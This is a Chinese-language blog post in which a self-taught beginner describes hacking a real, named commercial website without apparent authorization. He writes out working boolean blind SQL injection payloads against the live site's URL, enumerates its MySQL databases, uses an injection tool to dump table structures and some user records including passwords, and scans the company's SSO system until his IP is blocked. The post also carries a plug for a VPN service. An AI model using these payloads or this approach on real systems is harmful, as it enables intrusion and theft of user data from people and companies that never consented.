從零自學黑客技術隨筆
只記錄自學過程的點點滴滴。
前言
一直以來都想學習黑客技術,也就是安全方面的技術,但沒有付諸實踐,也因為是碼農老加班,工作上沒有閒暇時間。作為低端屌絲碼農,沒有收益的事情是不會去做的。況且,磚搬多了,是會喪失對技術對熱情的,休息時間寧願睡覺或者是出去玩。另一方面也是生存壓力大,還不能隨心所欲的追求自己的興趣,凡事優先考慮的是有沒有收益。
最近失業在家,無所事事,重捨興趣,無他,酷就夠了。想到就做,也特意把學習過程寫下來,屌絲所寫,水平太low的話,望一笑置之。
摸索
門外漢想進門,沒有師傅帶著,那就四處收集資料。網上眾說紛紜,甚至有說直接去看高校網路安全的教學計劃,扯淡。在
每一步都有各種各樣都手法,漏洞也是千奇百怪,知道原理之後,可以自己寫程式碼去掃描、去攻擊,也可以找工具去攻擊,當然咱屌絲還沒到自己寫工具的境界。我認為,學習要不斷制定小目標,然後達成得到反饋,這有助於堅持下去,提升興趣。上來就從逆向工程、密碼學開始學起的,那是學霸,咱就彆強學了。所以,找了個網站,把它當成目標,看看我能做什麼。
第一個目標
知乎那個問題下面,有介紹好些軟體,要搞目標那首先就得看看它有什麼漏洞,嘗試了好幾款軟體之後,用
直接上掃描結果。
有三個 Blind SQL Injection
這樣的漏洞,網上一查得知這叫 SQL盲注 ,點進去看
大概說 keyword=e%' AND 3*2*1=6 AND '000lEpQ'!='000lEpQ%
通過了,下面還有測試的列表。這是什麼意思呢?通過了解,哦,原來這就是所謂的盲注。
語句可以簡化成 keyword=e' AND 1=1 AND 'a'!='z
,按照這個漏洞推測,後端的碼農寫法大概是這樣:
String k = request.getParameter("keyword"); String sql = "select * from t where keyword like '%" + k +"%'"; // query(sql);......
那這裡就有漏洞了,如果我們提交的引數是 keyword=e' AND 1=1 AND 'a'!='z
,那後端拼接之後的 sql 就成了這樣
select * from t where keyword like '%e' AND 1=1 AND 'a'!='z%'
這個sql會被髮到資料庫去執行查詢,但這個有什麼用呢?假設 keyword=e
的時候,返回的資料是 啦啦啦,傳送 keyword=e' AND 1=1 AND 'a'!='z
的時候也是返回 啦啦啦, 並且 傳送 keyword=e' AND 0=1 AND 'a'!='z
的時候返回 空 ,那很明顯,我們可以知道資料庫執行 AND 1=1
這裡的語句結果是true
還是 false
,通過這個,我們就可以做一些事情了,這也就是boolean型盲注。至於 AND 'a'!='z
是為了使語句拼湊完整,因為後面跟著 +"%'"
,讓sql引號閉合。
接下來我們只需在瀏覽器傳送我們的請求即可:
https://www.dinghuo123.com/learning/list?keyword=e' AND exists(select * from information_schema.tables) AND 'a'!='z%
具體結果:
keyword=e' AND exists(select * from information_schema.tables) AND 'a'!='z% --true keyword=e' AND not exists(select * from information_schema.tables) AND 'a'!='z% --false
嗯,mysql 資料庫。
keyword=e' AND (select count(distinct table_schema) from information_schema.tables)>3 AND 'a'!='z% --true keyword=e' AND (select count(distinct table_schema) from information_schema.tables)>4 AND 'a'!='z% --false
嗯,一共4個數據庫。一般知道 mysql 有三個預設資料庫 information_schema
, mysql
, performance_schema
, 很顯然只有一個是使用者的資料庫。
keyword=e' AND (select length(a.table_schema) from (select distinct table_schema from information_schema.tables) a limit 0,1) >17 AND 'a'!='z% --true keyword=e' AND (select length(a.table_schema) from (select distinct table_schema from information_schema.tables) a limit 0,1) >18 AND 'a'!='z% --false
嗯,第一個資料庫名稱長度 18個字元。以此類推,第二個長度5,第三個長度18,第四個長度8。分別嘗試預設的三個資料庫,第四個長度8的,就是使用者的資料庫。接下來可以使用字串函式擷取單個字元,比較ascii的大小,採用二分法,確定每一個字元,最終得到資料庫名稱。
上工具
到此,我都是純手工,在瀏覽器操作,但到這一步,還手工操作,那我這麼些年磚就白搬了,用自己習慣的語言寫個簡單的程式跑,也是很簡單的。但咱是誰,學渣懶癌!能拿來就用的,堅決不自己寫!所以,開始到處找工具,好多工具不會用,不知所云,還有一些就是隻有linux版本。
無奈,用虛擬機器安裝個linux先,之前有接觸過一點點linux,也僅僅是接觸過而已,搜尋得知 kali linux 這個版本預裝了好多工具可以用,果斷搞一個。
嗯,確實裝了很多工具。工具一個一個百度,試用,好像bbqsql很厲害,但不知道為什麼,我的跑不起來,GitHub裡面也有人反饋,但好像沒人解決。 GitHub:bbqsql does not run? 放棄,換另一個,到最後就沒一個能用的。sqlsus感覺能行,最後也是報錯,我感覺配置是沒有問題的,搞不懂,以後搞原始碼研究研究。
最後,無意中發現一個軟體叫 GitHub:超級SQL注入工具 ,名字略土鱉,C#寫的,一點也不酷。試著用一下,別說,還真好使!
連表結構都拉出來拉。還獲取了部分user資料:
密碼不是md5,也不知道是什麼,user表就11條資料,應該不是什麼重要的庫。難怪請求這麼頻繁,也不封ip,危險字元也不過濾。最重要的,估計那個查詢是實習生寫的。
到了這一步,沒法繼續下一步了,就收手了。
然後作死掃描了他們的業務系統 sso.dinghuo123.com,也發現了3個漏洞,同時,也被封IP了,哭。。。
查了查,好像是跨域方面的漏洞,大概是自己要做個站,使用者訪問了他們的站再訪問我們的站,那我們的js就可以獲取他們站的資料,不知道理解的對不對。如果是這樣的話,那這幾個漏洞就沒啥意義。
到這裡,第一波實操就結束了,不結束也沒辦法,ip都被封了。。
一個真實的體會就是,某度真的很爛,很多東西搜不出有用的東西。又花了很多時間架梯子,google真的是碼農必備,結果準確多了。
推薦個免費高速的梯子:叮噹加速
以上就是初次學習的體會,也算有了個瞭解。
下一步,準備先把linux學好,這樣寫東西和用別人寫的東西才方便,或者改別人的程式碼,參與編輯GitHub,所以,又要學學Python。路還很長。